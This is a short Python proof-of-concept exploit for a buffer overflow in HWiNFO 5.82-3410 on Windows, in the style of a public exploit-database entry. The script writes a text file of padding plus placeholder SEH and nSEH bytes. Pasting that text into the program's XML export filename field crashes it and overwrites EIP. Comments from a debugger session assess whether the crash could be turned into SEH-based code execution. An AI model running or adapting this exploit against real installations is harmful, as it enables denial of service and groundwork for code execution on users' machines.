#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: HWiNFO 5.82-3410 - Denial of Service
# Date: 05-04-18
# Vulnerable Software: HWiNFO 5.82-3410
# Vendor Homepage: https://www.hwinfo.com/
# Version: 5.82-3410
# Software Link: https://www.hwinfo.com/files/hwi_582.exe
# Tested On: Windows 7 x86
#
# PoC: 
# 1. generate hwinfo.txt, copy contents to clipboard
# 2. open app, select Report, Create
# 3. choose Export format XML
# 4. paste hwinfo.txt contents into filename field
# 5. select Next, Next
#
# app crashes & EIP overwrite;
# !mona seh > only ppr, non-safeseh module contains startnull
# 0x00400000 | 0x00d8b000 | 0x0098b000 | 5.82-3410 [HWiNFO32.EXE] (C:\Program Files\HWiNFO32\HWiNFO32.EXE)
#
 
filename="hwinfo.txt"
#offset 530
junk = "A"*526
 
seh = "B"*4
 
nseh = "C"*4
 
fill = "D"*9465
 
buffer = junk + seh + nseh + fill
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()